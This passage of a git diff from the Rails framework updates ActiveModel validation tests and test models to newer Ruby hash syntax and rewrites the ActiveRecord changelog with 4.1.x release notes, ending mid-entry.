   test "with a class that adds errors on create and validating a new model" do
-    Topic.validates_with(ValidatorThatAddsErrors, :on => :create)
+    Topic.validates_with(ValidatorThatAddsErrors, on: :create)
     topic = Topic.new
     assert topic.invalid?(:create), "Validation does run on create if 'on' is set to create"
     assert topic.errors[:base].include?(ERROR_MESSAGE)
   end
-end
\ No newline at end of file
+
+  test "with a class that adds errors on multiple contexts and validating a new model" do
+    Topic.validates_with(ValidatorThatAddsErrors, on: [:context1, :context2])
+
+    topic = Topic.new
+    assert topic.valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
+
+    assert topic.invalid?(:context1), "Validation did not run on context1 when 'on' is set to context1 and context2"
+    assert topic.errors[:base].include?(ERROR_MESSAGE)
+
+    assert topic.invalid?(:context2), "Validation did not run on context2 when 'on' is set to context1 and context2"
+    assert topic.errors[:base].include?(ERROR_MESSAGE)
+  end
+end
diff --git a/activemodel/test/cases/validations/with_validation_test.rb b/activemodel/test/cases/validations/with_validation_test.rb
index daa7a8d..736c2de 100644
--- a/activemodel/test/cases/validations/with_validation_test.rb
+++ b/activemodel/test/cases/validations/with_validation_test.rb
@@ -6,8 +6,7 @@ require 'models/topic'
 class ValidatesWithTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
-    Topic._validators.clear
+    Topic.clear_validators!
   end
 
   ERROR_MESSAGE = "Validation error from validator"
@@ -72,26 +71,26 @@ class ValidatesWithTest < ActiveModel::TestCase
   end
 
   test "with if statements that return false" do
-    Topic.validates_with(ValidatorThatAddsErrors, :if => "1 == 2")
+    Topic.validates_with(ValidatorThatAddsErrors, if: "1 == 2")
     topic = Topic.new
     assert topic.valid?
   end
 
   test "with if statements that return true" do
-    Topic.validates_with(ValidatorThatAddsErrors, :if => "1 == 1")
+    Topic.validates_with(ValidatorThatAddsErrors, if: "1 == 1")
     topic = Topic.new
     assert topic.invalid?
     assert topic.errors[:base].include?(ERROR_MESSAGE)
   end
 
   test "with unless statements that return true" do
-    Topic.validates_with(ValidatorThatAddsErrors, :unless => "1 == 1")
+    Topic.validates_with(ValidatorThatAddsErrors, unless: "1 == 1")
     topic = Topic.new
     assert topic.valid?
   end
 
   test "with unless statements that returns false" do
-    Topic.validates_with(ValidatorThatAddsErrors, :unless => "1 == 2")
+    Topic.validates_with(ValidatorThatAddsErrors, unless: "1 == 2")
     topic = Topic.new
     assert topic.invalid?
     assert topic.errors[:base].include?(ERROR_MESSAGE)
@@ -100,45 +99,23 @@ class ValidatesWithTest < ActiveModel::TestCase
   test "passes all configuration options to the validator class" do
     topic = Topic.new
     validator = mock()
-    validator.expects(:new).with(:foo => :bar, :if => "1 == 1").returns(validator)
+    validator.expects(:new).with(foo: :bar, if: "1 == 1", class: Topic).returns(validator)
     validator.expects(:validate).with(topic)
 
-    Topic.validates_with(validator, :if => "1 == 1", :foo => :bar)
-    assert topic.valid?
-  end
-
-  test "calls setup method of validator passing in self when validator has setup method" do
-    topic = Topic.new
-    validator = stub_everything
-    validator.stubs(:new).returns(validator)
-    validator.stubs(:validate)
-    validator.stubs(:respond_to?).with(:setup).returns(true)
-    validator.expects(:setup).with(Topic).once
-    Topic.validates_with(validator)
-    assert topic.valid?
-  end
-
-  test "doesn't call setup method of validator when validator has no setup method" do
-    topic = Topic.new
-    validator = stub_everything
-    validator.stubs(:new).returns(validator)
-    validator.stubs(:validate)
-    validator.stubs(:respond_to?).with(:setup).returns(false)
-    validator.expects(:setup).with(Topic).never
-    Topic.validates_with(validator)
+    Topic.validates_with(validator, if: "1 == 1", foo: :bar)
     assert topic.valid?
   end
 
   test "validates_with with options" do
-    Topic.validates_with(ValidatorThatValidatesOptions, :field => :first_name)
+    Topic.validates_with(ValidatorThatValidatesOptions, field: :first_name)
     topic = Topic.new
     assert topic.invalid?
     assert topic.errors[:base].include?(ERROR_MESSAGE)
   end
 
   test "validates_with each validator" do
-    Topic.validates_with(ValidatorPerEachAttribute, :attributes => [:title, :content])
-    topic = Topic.new :title => "Title", :content => "Content"
+    Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content])
+    topic = Topic.new title: "Title", content: "Content"
     assert topic.invalid?
     assert_equal ["Value is Title"], topic.errors[:title]
     assert_equal ["Value is Content"], topic.errors[:content]
@@ -146,7 +123,7 @@ class ValidatesWithTest < ActiveModel::TestCase
 
   test "each validator checks validity" do
     assert_raise RuntimeError do
-      Topic.validates_with(ValidatorCheckValidity, :attributes => [:title])
+      Topic.validates_with(ValidatorCheckValidity, attributes: [:title])
     end
   end
 
@@ -157,25 +134,25 @@ class ValidatesWithTest < ActiveModel::TestCase
   end
 
   test "each validator skip nil values if :allow_nil is set to true" do
-    Topic.validates_with(ValidatorPerEachAttribute, :attributes => [:title, :content], :allow_nil => true)
-    topic = Topic.new :content => ""
+    Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content], allow_nil: true)
+    topic = Topic.new content: ""
     assert topic.invalid?
     assert topic.errors[:title].empty?
     assert_equal ["Value is "], topic.errors[:content]
   end
 
   test "each validator skip blank values if :allow_blank is set to true" do
-    Topic.validates_with(ValidatorPerEachAttribute, :attributes => [:title, :content], :allow_blank => true)
-    topic = Topic.new :content => ""
+    Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content], allow_blank: true)
+    topic = Topic.new content: ""
     assert topic.valid?
     assert topic.errors[:title].empty?
     assert topic.errors[:content].empty?
   end
 
   test "validates_with can validate with an instance method" do
-    Topic.validates :title, :with => :my_validation
+    Topic.validates :title, with: :my_validation
 
-    topic = Topic.new :title => "foo"
+    topic = Topic.new title: "foo"
     assert topic.valid?
     assert topic.errors[:title].empty?
 
@@ -185,9 +162,9 @@ class ValidatesWithTest < ActiveModel::TestCase
   end
 
   test "optionally pass in the attribute being validated when validating with an instance method" do
-    Topic.validates :title, :content, :with => :my_validation_with_arg
+    Topic.validates :title, :content, with: :my_validation_with_arg
 
-    topic = Topic.new :title => "foo"
+    topic = Topic.new title: "foo"
     assert !topic.valid?
     assert topic.errors[:title].empty?
     assert_equal ['is missing'], topic.errors[:content]
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
index 2934e70..cfce8fb 100644
--- a/activemodel/test/cases/validations_test.rb
+++ b/activemodel/test/cases/validations_test.rb
@@ -10,17 +10,10 @@ require 'active_support/json'
 require 'active_support/xml_mini'
 
 class ValidationsTest < ActiveModel::TestCase
-
   class CustomStrictValidationException < StandardError; end
 
-  def setup
-    Topic._validators.clear
-  end
-
-  # Most of the tests mess with the validations of Topic, so lets repair it all the time.
-  # Other classes we mess with will be dealt with in the specific tests
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_single_field_validation
@@ -166,7 +159,7 @@ class ValidationsTest < ActiveModel::TestCase
 
   def test_invalid_validator
     Topic.validate :i_dont_exist
-    assert_raise(NameError) do
+    assert_raises(NoMethodError) do
       t = Topic.new
       t.valid?
     end
@@ -190,16 +183,16 @@ class ValidationsTest < ActiveModel::TestCase
 
   def test_validation_order
     Topic.validates_presence_of :title
-    Topic.validates_length_of :title, :minimum => 2
+    Topic.validates_length_of :title, minimum: 2
 
     t = Topic.new("title" => "")
     assert t.invalid?
     assert_equal "can't be blank", t.errors["title"].first
     Topic.validates_presence_of :title, :author_name
     Topic.validate {errors.add('author_email_address', 'will never be valid')}
-    Topic.validates_length_of :title, :content, :minimum => 2
+    Topic.validates_length_of :title, :content, minimum: 2
 
-    t = Topic.new :title => ''
+    t = Topic.new title: ''
     assert t.invalid?
 
     assert_equal :title, key = t.errors.keys[0]
@@ -214,9 +207,9 @@ class ValidationsTest < ActiveModel::TestCase
   end
 
   def test_validation_with_if_and_on
-    Topic.validates_presence_of :title, :if => Proc.new{|x| x.author_name = "bad"; true }, :on => :update
+    Topic.validates_presence_of :title, if: Proc.new{|x| x.author_name = "bad"; true }, on: :update
 
-    t = Topic.new(:title => "")
+    t = Topic.new(title: "")
 
     # If block should not fire
     assert t.valid?
@@ -239,7 +232,7 @@ class ValidationsTest < ActiveModel::TestCase
   end
 
   def test_validation_with_message_as_proc
-    Topic.validates_presence_of(:title, :message => proc { "no blanks here".upcase })
+    Topic.validates_presence_of(:title, message: proc { "no blanks here".upcase })
 
     t = Topic.new
     assert t.invalid?
@@ -248,7 +241,7 @@ class ValidationsTest < ActiveModel::TestCase
 
   def test_list_of_validators_for_model
     Topic.validates_presence_of :title
-    Topic.validates_length_of :title, :minimum => 2
+    Topic.validates_length_of :title, minimum: 2
 
     assert_equal 2, Topic.validators.count
     assert_equal [:presence, :length], Topic.validators.map(&:kind)
@@ -256,7 +249,7 @@ class ValidationsTest < ActiveModel::TestCase
 
   def test_list_of_validators_on_an_attribute
     Topic.validates_presence_of :title, :content
-    Topic.validates_length_of :title, :minimum => 2
+    Topic.validates_length_of :title, minimum: 2
 
     assert_equal 2, Topic.validators_on(:title).count
     assert_equal [:presence, :length], Topic.validators_on(:title).map(&:kind)
@@ -265,13 +258,13 @@ class ValidationsTest < ActiveModel::TestCase
   end
 
   def test_accessing_instance_of_validator_on_an_attribute
-    Topic.validates_length_of :title, :minimum => 10
+    Topic.validates_length_of :title, minimum: 10
     assert_equal 10, Topic.validators_on(:title).first.options[:minimum]
   end
 
   def test_list_of_validators_on_multiple_attributes
-    Topic.validates :title, :length => { :minimum => 10 }
-    Topic.validates :author_name, :presence => true, :format => /a/
+    Topic.validates :title, length: { minimum: 10 }
+    Topic.validates :author_name, presence: true, format: /a/
 
     validators = Topic.validators_on(:title, :author_name)
 
@@ -283,7 +276,7 @@ class ValidationsTest < ActiveModel::TestCase
   end
 
   def test_list_of_validators_will_be_empty_when_empty
-    Topic.validates :title, :length => { :minimum => 10 }
+    Topic.validates :title, length: { minimum: 10 }
     assert_equal [], Topic.validators_on(:author_name)
   end
 
@@ -291,61 +284,62 @@ class ValidationsTest < ActiveModel::TestCase
     auto = Automobile.new
 
     assert          auto.invalid?
-    assert_equal 2, auto.errors.size
+    assert_equal 3, auto.errors.size
 
     auto.make  = 'Toyota'
     auto.model = 'Corolla'
+    auto.approved = '1'
 
     assert auto.valid?
   end
 
   def test_strict_validation_in_validates
-    Topic.validates :title, :strict => true, :presence => true
+    Topic.validates :title, strict: true, presence: true
     assert_raises ActiveModel::StrictValidationFailed do
       Topic.new.valid?
     end
   end
 
   def test_strict_validation_not_fails
-    Topic.validates :title, :strict => true, :presence => true
-    assert Topic.new(:title => "hello").valid?
+    Topic.validates :title, strict: true, presence: true
+    assert Topic.new(title: "hello").valid?
   end
 
   def test_strict_validation_particular_validator
-    Topic.validates :title,  :presence => { :strict => true }
+    Topic.validates :title, presence: { strict: true }
     assert_raises ActiveModel::StrictValidationFailed do
       Topic.new.valid?
     end
   end
 
   def test_strict_validation_in_custom_validator_helper
-    Topic.validates_presence_of :title, :strict => true
+    Topic.validates_presence_of :title, strict: true
     assert_raises ActiveModel::StrictValidationFailed do
       Topic.new.valid?
     end
   end
 
   def test_strict_validation_custom_exception
-    Topic.validates_presence_of :title, :strict => CustomStrictValidationException
+    Topic.validates_presence_of :title, strict: CustomStrictValidationException
     assert_raises CustomStrictValidationException do
       Topic.new.valid?
     end
   end
 
   def test_validates_with_bang
-    Topic.validates! :title,  :presence => true
+    Topic.validates! :title, presence: true
     assert_raises ActiveModel::StrictValidationFailed do
       Topic.new.valid?
     end
   end
 
   def test_validates_with_false_hash_value
-    Topic.validates :title,  :presence => false
+    Topic.validates :title, presence: false
     assert Topic.new.valid?
   end
 
   def test_strict_validation_error_message
-    Topic.validates :title, :strict => true, :presence => true
+    Topic.validates :title, strict: true, presence: true
 
     exception = assert_raises(ActiveModel::StrictValidationFailed) do
       Topic.new.valid?
@@ -354,9 +348,9 @@ class ValidationsTest < ActiveModel::TestCase
   end
 
   def test_does_not_modify_options_argument
-    options = { :presence => true }
+    options = { presence: true }
     Topic.validates :title, options
-    assert_equal({ :presence => true }, options)
+    assert_equal({ presence: true }, options)
   end
 
   def test_dup_validity_is_independent
@@ -373,4 +367,25 @@ class ValidationsTest < ActiveModel::TestCase
     assert topic.invalid?
     assert duped.valid?
   end
+
+   # validator test:
+  def test_setup_is_deprecated_but_still_receives_klass # TODO: remove me in 4.2.
+    validator_class = Class.new(ActiveModel::Validator) do
+      def setup(klass)
+        @old_klass = klass
+      end
+
+      def validate(*)
+        @old_klass == Topic or raise "#setup didn't work"
+      end
+    end
+
+    assert_deprecated do
+      Topic.validates_with validator_class
+    end
+
+    t = Topic.new
+    t.valid?
+  end
+
 end
diff --git a/activemodel/test/models/administrator.rb b/activemodel/test/models/administrator.rb
deleted file mode 100644
index 2f3aff2..0000000
--- a/activemodel/test/models/administrator.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Administrator
-  extend ActiveModel::Callbacks
-  include ActiveModel::Validations
-  include ActiveModel::SecurePassword
-
-  define_model_callbacks :create
-
-  attr_accessor :name, :password_digest
-
-  has_secure_password
-end
diff --git a/activemodel/test/models/automobile.rb b/activemodel/test/models/automobile.rb
index 021ea61..4df2fe8 100644
--- a/activemodel/test/models/automobile.rb
+++ b/activemodel/test/models/automobile.rb
@@ -3,10 +3,11 @@ class Automobile
 
   validate :validations
 
-  attr_accessor :make, :model
+  attr_accessor :make, :model, :approved
 
   def validations
     validates_presence_of :make
-    validates_length_of   :model, :within => 2..10
+    validates_length_of   :model, within: 2..10
+    validates_acceptance_of :approved, allow_nil: false
   end
-end
\ No newline at end of file
+end
diff --git a/activemodel/test/models/contact.rb b/activemodel/test/models/contact.rb
index 7bfc542..c25be28 100644
--- a/activemodel/test/models/contact.rb
+++ b/activemodel/test/models/contact.rb
@@ -9,7 +9,7 @@ class Contact
   end
 
   def network
-    {:git => :github}
+    { git: :github }
   end
 
   def initialize(options = {})
diff --git a/activemodel/test/models/oauthed_user.rb b/activemodel/test/models/oauthed_user.rb
deleted file mode 100644
index 9750bc1..0000000
--- a/activemodel/test/models/oauthed_user.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class OauthedUser
-  extend ActiveModel::Callbacks
-  include ActiveModel::Validations
-  include ActiveModel::SecurePassword
-  
-  define_model_callbacks :create
-
-  has_secure_password(validations: false)
-
-  attr_accessor :password_digest, :password_salt
-end
diff --git a/activemodel/test/models/reply.rb b/activemodel/test/models/reply.rb
index ec1efea..b77910e 100644
--- a/activemodel/test/models/reply.rb
+++ b/activemodel/test/models/reply.rb
@@ -2,11 +2,11 @@ require 'models/topic'
 
 class Reply < Topic
   validate :errors_on_empty_content
-  validate :title_is_wrong_create,  :on => :create
+  validate :title_is_wrong_create,  on: :create
 
   validate :check_empty_title
-  validate :check_content_mismatch, :on => :create
-  validate :check_wrong_update,     :on => :update
+  validate :check_content_mismatch, on: :create
+  validate :check_wrong_update,     on: :update
 
   def check_empty_title
     errors[:title] << "is Empty" unless title && title.size > 0
diff --git a/activemodel/test/models/user.rb b/activemodel/test/models/user.rb
index 4b11df1..cbe259b 100644
--- a/activemodel/test/models/user.rb
+++ b/activemodel/test/models/user.rb
@@ -7,5 +7,5 @@ class User
 
   has_secure_password
 
-  attr_accessor :password_digest, :password_salt
+  attr_accessor :password_digest
 end
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
index 72da1b7..eef5f9f 100644
--- a/activerecord/CHANGELOG.md
+++ b/activerecord/CHANGELOG.md
@@ -1,2425 +1,2264 @@
-## Rails 4.0.1 (November 01, 2013) ##
+## Rails 4.1.4 (July 2, 2014) ##
 
-*   `NullRelation#pluck` takes a list of columns
+*   Fix regression added from the latest security fix.
 
-    The method signature in `NullRelation` was updated to mimic that in
-    `Calculations`.
+    *Sean Griffin*, *Matthew Draper*
 
-    *Derek Prior*
 
-*   `scope_chain` should not be mutated for other reflections.
+## Rails 4.1.3 (July 2, 2014) ##
 
-    Currently `scope_chain` uses same array for building different
-    `scope_chain` for different associations. During processing
-    these arrays are sometimes mutated and because of in-place
-    mutation the changed `scope_chain` impacts other reflections.
+*   Fix SQL Injection Vulnerability in 'range' quoting.
 
-    Fix is to dup the value before adding to the `scope_chain`.
+    Fixes CVE-2014-3483
 
-    Fixes #3882.
+    *Rafael Mendonça França*
 
-    *Neeraj Singh*
 
-*   Prevent the inversed association from being reloaded on save.
+## Rails 4.1.2 (June 26, 2014) ##
 
-    Fixes #9499.
+*   Fix regression on eager loading association based on SQL query rather than
+    existing column.
 
-    *Dmitry Polushkin*
+    Fixes #15480.
 
-*   `Relation#order` quotes the column name if you pass a `Symbol`.
-    Fixes #11870.
+    *Lauro Caetano*, *Carlos Antonio da Silva*
 
-    Example:
+*   Fix redefine a has_and_belongs_to_many inside inherited class
+    Fixing regression case, where redefining the same has_an_belongs_to_many
+    definition into a subclass would raise.
 
-        # Before
-        Post.order(:id).to_sql == '... ORDER BY "posts".id ASC'
+    Fixes #14983.
 
-        # After
-        Post.order(:id).to_sql == '... ORDER BY "posts"."id" ASC'
+    *arthurnn*
 
-    *Yves Senn*
+*   Fix has_and_belongs_to_many public reflection.
+    When defining a has_and_belongs_to_many, internally we convert that to two has_many.
+    But as `reflections` is a public API, people expect to see the right macro.
 
-*   Generate subquery for `Relation` if it passed as array condition for `where`
-    method.
+    Fixes #14682.
 
-    Example:
+    *arthurnn*
 
-        # Before
-        Blog.where('id in (?)', Blog.where(id: 1))
-        # =>  SELECT "blogs".* FROM "blogs"  WHERE "blogs"."id" = 1
-        # =>  SELECT "blogs".* FROM "blogs"  WHERE (id IN (1))
+*   Fixed serialization for records with an attribute named `format`.
 
-        # After
-        Blog.where('id in (?)', Blog.where(id: 1).select(:id))
-        # =>  SELECT "blogs".* FROM "blogs"
-        #     WHERE "blogs"."id" IN (SELECT "blogs"."id" FROM "blogs"  WHERE "blogs"."id" = 1)
+    Fixes #15188.
 
-    Fixes #12415.
+    *Godfrey Chan*
 
-    *Paul Nikitochkin*
+*   Fixed serialized fields returning serialized data after being updated with
+    `update_column`.
 
-*   For missed association exception message
-    which is raised in `ActiveRecord::Associations::Preloader` class
-    added owner record class name in order to simplify to find problem code.
+    *Simon Hørup Eskildsen*
 
-    *Paul Nikitochkin*
+*   When a `group` is set, `sum`, `size`, `average`, `minimum` and `maximum`
+    on a NullRelation should return a Hash.
 
-*   Fixes bug when using includes combined with select, the select statement was overwritten.
+    *Kuldeep Aggarwal*
 
-    Fixes #11773.
+*   Fixed polymorphic eager loading when using a String as foreign key.
 
-    *Edo Balvers*
+    Fixes #14734.
 
-*   Objects instantiated using a null relationship will now retain the
-    attributes of the where clause.
+    *Lauro Caetano*
 
-    Fixes #11676, #11675, #11376.
+*   Fixed the inferred table name of a has_and_belongs_to_many auxiliar
+    table inside a schema.
 
-    *Paul Nikitochkin*, *Peter Brown*, *Nthalk*
+    Fixes #14824
 
-*   Fixed `ActiveRecord::Associations::CollectionAssociation#find`
-    when using `has_many` association with `:inverse_of` and finding an array of one element,
-    it should return an array of one element too.
+    *Eric Chahin*
 
-    *arthurnn*
+*   Fix bug that added `table_name_prefix` and `table_name_suffix` to
+    extension names in PostgreSQL when migrating.
 
-*   Callbacks on has_many should access the in memory parent if a inverse_of is set.
+    *Joao Carlos*
 
-    *arthurnn*
+*   Floats with limit >= 25 that get turned into doubles in MySQL no longer have
+    their limit dropped from the schema.
 
-*   Migration dump UUID default functions to schema.rb.
+    Fixes #14135.
 
-    Fixes #10751.
+    *Aaron Nelson*
 
-    *kennyj*
+*   Fix how to calculate associated class name when using namespaced has_and_belongs_to_many
+    association.
 
-*   Fixed a bug in `ActiveRecord::Associations::CollectionAssociation#find_by_scan`
-    when using `has_many` association with `:inverse_of` option and UUID primary key.
+    Fixes #14709.
 
-    Fixes #10450.
+    *Kassio Borges*
 
-    *kennyj*
+*   `ActiveRecord::Relation::Merger#filter_binds` now compares equivalent symbols and
+    strings in column names as equal.
 
-*   Fix: joins association, with defined in the scope block constraints by using several
-    where constraints and at least of them is not `Arel::Nodes::Equality`,
-    generates invalid SQL expression.
+    This fixes a rare case in which more bind values are passed than there are
+    placeholders for them in the generated SQL statement, which can make PostgreSQL
+    throw a `StatementInvalid` exception.
 
-    Fixes: #11963
+    *Nat Budin*
 
-    *Paul Nikitochkin*
+*   Fix `stored_attributes` to correctly merge the details of stored
+    attributes defined in parent classes.
 
-*   Make possible to run SQLite rake tasks without the `Rails` constant defined.
+    Fixes #14672.
 
-    *Damien Mathieu*
+    *Brad Bennett*, *Jessica Yao*, *Lakshmi Parthasarathy*
 
-*   Allow Relation#from to accept other relations with bind values.
+*   `change_column_default` allows `[]` as argument to `change_column_default`.
 
-    *Ryan Wallace*
+    Fixes #11586.
 
-*   Make `find_in_batches` and `find_each` work without a logger.
+    *Yves Senn*
 
-    *Dmitry Polushkin*
+*   Fix `PostgreSQLAdapter::OID::Float#type_cast` to convert Infinity and
+    NaN PostgreSQL values into a native Ruby `Float::INFINITY` and `Float::NAN`
 
-*   Fix inserts with prepared statements disabled.
+    Example:
 
-    Fixes #12023.
+        # Before
+        Point.create(value: 1.0/0)
+        Point.last.value # => 0.0
 
-    *Rafael Mendonça França*
+        # After
+        Point.create(value: 1.0/0)
+        Point.last.value # => Infinity
 
-*   Setting a has_one association on a new record no longer causes an empty
-    transaction.
+    *Innokenty Mikhailov*
 
-    *Dylan Thacker-Smith*
+*   Allow the PostgreSQL adapter to handle bigserial primary key types again.
 
-*   Fix `AR::Relation#merge` sometimes failing to preserve `readonly(false)` flag.
+    Fixes #10410.
 
-    *thedarkone*
+    *Patrick Robertson*
 
-*   PostgreSQL adapter recognizes negative money values formatted with
-    parentheses (eg. `($1.25) # => -1.25`)).
-    Fixes #11899.
+*   Fixed has_and_belongs_to_many's CollectionAssociation size calculation.
 
-    * Yves Senn*
+    has_and_belongs_to_many should fall back to using the normal CollectionAssociation's
+    size calculation if the collection is not cached or loaded.
 
-*   Do not load all child records for inverse case.
+    Fixes #14913 and #14914.
 
-    currently `post.comments.find(Comment.first.id)` would load all
-    comments for the given post to set the inverse association.
+    *Fred Wu*
 
-    This has a huge performance penalty. Because if post has 100k
-    records and all these 100k records would be loaded in memory
-    even though the comment id was supplied.
+*   Revert the behaviour of `ActiveRecord::Relation#join` changed through 4.0 => 4.1 to 4.0.
 
-    Fix is to use in-memory records only if loaded? is true. Otherwise
-    load the records using full sql.
+    In 4.1.0 `Relation#join` is delegated to `Arel#SelectManager`.
+    In 4.0 series it is delegated to `Array#join`.
 
-    Fixes #10509.
+    *Bogdan Gusiev*
 
-    *Neeraj Singh*
+*   Log nil binary column values correctly.
 
-*   `ActiveRecord::FinderMethods#exists?` returns `true`/`false` in all cases.
+    When an object with a binary column is updated with a nil value
+    in that column, the SQL logger would throw an exception when trying
+    to log that nil value. This only occurs when updating a record
+    that already has a non-nil value in that column since an initial nil
+    value isn't included in the SQL anyway (at least, when dirty checking
+    is enabled.) The column's new value will now be logged as `<NULL binary data>`
+    to parallel the existing `<N bytes of binary data>` for non-nil values.
 
-    *Xavier Noria*
+    *James Coleman*
 
-*   Load fixtures from linked folders.
+*   Stringify all variables keys of MySQL connection configuration.
 
-    *Kassio Borges*
+    When `sql_mode` variable for MySQL adapters set in configuration as `String`
+    was ignored and overwritten by strict mode option.
 
-*   Create a directory for sqlite3 file if not present on the system.
+    Fixes #14895.
 
-    *Richard Schneeman*
+    *Paul Nikitochkin*
 
-*   Removed redundant override of `xml` column definition for PG,
-    in order to use `xml` column type instead of `text`.
+*   Ensure SQLite3 statements are closed on errors.
 
-    *Paul Nikitochkin*, *Michael Nikitochkin*
+    Fixes #13631.
 
-*   Revert `ActiveRecord::Relation#order` change that make new order
-    prepend the old one.
+    *Timur Alperovich*
 
-    Before:
+*   Fix excluding lower bounds of PostgreSQL date and int ranges.
 
-        User.order("name asc").order("created_at desc")
-        # SELECT * FROM users ORDER BY created_at desc, name asc
+    *River MacLeod*, *Yves Senn*
 
-    After:
+*   When using a custom `join_table` name on a `habtm`, rails was not saving it
+    on Reflections. This causes a problem when rails loads fixtures, because it
+    uses the reflections to set database with fixtures.
 
-        User.order("name asc").order("created_at desc")
-        # SELECT * FROM users ORDER BY name asc, created_at desc
+    Fixes #14845.
 
-    This also affects order defined in `default_scope` or any kind of associations.
+    *Kassio Borges*
 
-    *Rafael Mendonça França*
+*   `ActiveRecord::Base.no_touching` no longer triggers callbacks or start empty transactions.
 
-*   When using optimistic locking, `update` was not passing the column to `quote_value`
-    to allow the connection adapter to properly determine how to quote the value. This was
-    affecting certain databases that use specific column types.
+    Fixes #14841.
 
-    Fixes #6763.
+    *Lucas Mazza*
 
-    *Alfred Wong*
+*   Fix name collision with `Array#select!` with `Relation#select!`.
 
-*   `change_column` for PostgreSQL adapter respects the `:array` option.
+    Fixes #14752.
 
-    *Yves Senn*
+    *Earl St Sauver*
 
-*   Fixes bug introduced by #3329. Now, when autosaving associations,
-    deletions happen before inserts and saves. This prevents a
-    'duplicate unique value' database error that would occur if a record being created had
-    the same value on a unique indexed field as that of a record being destroyed.
+*   Fixed unexpected behavior for `has_many :through` associations going through a scoped `has_many`.
 
-    *Johnny Holton*
+    If a `has_many` association is adjusted using a scope, and another `has_many :through`
+    uses this association, then the scope adjustment is unexpectedly neglected.
 
-*   Flatten merged join values before building the joins.
+    Fixes #14537.
 
-    While joining values special treatment is given to string values.
-    By flattening the array it ensures that string values are detected
-    as strings and not arrays.
+    *Jan Habermann*
 
-    Fixes #10669.
+*   When a destroyed record is duped, the dup is not `destroyed?`.
 
-    *Neeraj Singh and iwiznia*
+    *Kuldeep Aggarwal*
 
-*   Remove extra select and update queries on `save`/`touch`/`destroy` Active Record model
-    with belongs to reflection with option `touch: true`.
+*   Fixed has_many association to make it support irregular inflections.
 
-    Fixes #11288.
+    Fixes #8928.
 
-    *Paul Nikitochkin*
+    *arthurnn*, *Javier Goizueta*
 
-*   Support array as root element in JSON fields.
+*   Calling `delete_all` on an unloaded `CollectionProxy` no longer
+    generates a SQL statement containing each id of the collection:
 
-    *Alexey Noskov & Francesco Rodriguez*
+    Before:
 
-*   Apply default scope when joining associations. For example:
+        DELETE FROM `model` WHERE `model`.`parent_id` = 1
+        AND `model`.`id` IN (1, 2, 3...)
 
-        class Post < ActiveRecord::Base
-          default_scope -> { where published: true }
-        end
+    After:
 
-        class Comment
-          belongs_to :post
-        end
+        DELETE FROM `model` WHERE `model`.`parent_id` = 1
 
-    When calling `Comment.joins(:post)`, we expect to receive only
-    comments on published posts, since that is the default scope for
-    posts.
+    *Eileen M. Uchitelle*, *Aaron Patterson*
 
-    Before this change, the default scope from `Post` was not applied,
-    so we'd get comments on unpublished posts.
+*   Fixed a problem where count used with a grouping was not returning a Hash.
 
-    *Jon Leighton*
+    Fixes #14721.
 
-*   `inspect` on Active Record model classes does not initiate a
-    new connection. This means that calling `inspect`, when the
-    database is missing, will no longer raise an exception.
+    *Eric Chahin*
 
-    Fixes #10936.
+*   Do not quote uuid default value on `change_column`.
+
+    Fixes #14604.
+
+    *Eric Chahin*
+
+*   The comparison between `Relation` and `CollectionProxy` should be consistent.
 
     Example:
 
-        Author.inspect # => "Author(no database connection)"
+        author.posts == Post.where(author_id: author.id)
+        # => true
+        Post.where(author_id: author.id) == author.posts
+        # => true
 
-    *Yves Senn*
+    Fixes #13506.
 
-*   Fix mysql2 adapter raises the correct exception when executing a query on a
-    closed connection.
+    *Lauro Caetano*
 
-    *Yves Senn*
+*   PostgreSQL adapter only warns once for every missing OID per connection.
 
-*   Fix the `:primary_key` option for `has_many` associations.
+    Fixes #14275.
 
-    Fixes #10693.
+    *Matthew Draper*, *Yves Senn*
 
-    *Yves Senn*
+*   Fixed error for aggregate methods (`empty?`, `any?`, `count`) with `select`
+    which created invalid SQL.
 
-*   Fix bug where tiny types are incorectly coerced as booleand when the length is more than 1.
+    Fixes #13648.
 
-    Fixes #10620.
+    *Simon Woker*
 
-    *Aaron Patterson*
+*   Fix insertion of records via `has_many :through` association with scope.
 
-*   Also support extensions in PostgreSQL 9.1. This feature has been supported since 9.1.
+    Fixes #3548.
 
-    *kennyj*
+    *Ivan Antropov*
 
-*   Deprecate `ConnectionAdapters::SchemaStatements#distinct`,
-    as it is no longer used by internals.
+*   Make possible to have an association called `records`.
 
-    *Ben Woosley#
+    Fixes #11645.
 
-*   Remove not needed bind variables. Port of commit #5082345.
+    *prathamesh-sonpatki*
 
-    Fixes #10958.
+*   `to_sql` on an association now matches the query that is actually executed, where it
+    could previously have incorrectly accrued additional conditions (e.g. as a result of
+    a previous query). CollectionProxy now always defers to the association scope's
+    `arel` method so the (incorrect) inherited one should be entirely concealed.
 
-    *Neeraj Singh*
+    Fixes #14003.
 
-*   Confirm a record has not already been destroyed before decrementing counter cache.
+    *Jefferson Lai*
 
-    *Ben Tucker*
+*   Fixed error when using `with_options` with lambda.
 
-*   Fixed a bug in `ActiveRecord#sanitize_sql_hash_for_conditions` in which
-    `self.class` is an argument to `PredicateBuilder#build_from_hash`
-    causing `PredicateBuilder` to call non-existent method
-    `Class#reflect_on_association`.
+    Fixes #9805.
 
-    *Zach Ohlgren*
+    *Lauro Caetano*
 
-*   While removing index if column option is missing then raise IrreversibleMigration exception.
+*   Fixed error when specifying a non-empty default value on a PostgreSQL array column.
 
-    Following code should raise `IrreversibleMigration`. But the code was
-    failing since options is an array and not a hash.
+    Fixes #10613.
 
-        def change
-          change_table :users do |t|
-            t.remove_index [:name, :email]
-          end
-        end
+    *Luke Steensen*
 
-    Fix was to check if the options is a Hash before operating on it.
+*   Fixed error where .persisted? throws SystemStackError for an unsaved model with a
+    custom primary key that didn't save due to validation error.
 
-    Fixes #10419.
+    Fixes #14393.
 
-    *Neeraj Singh*
+    *Chris Finne*
 
+*   `rake db:structure:dump` only dumps schema information if the schema
+    migration table exists.
 
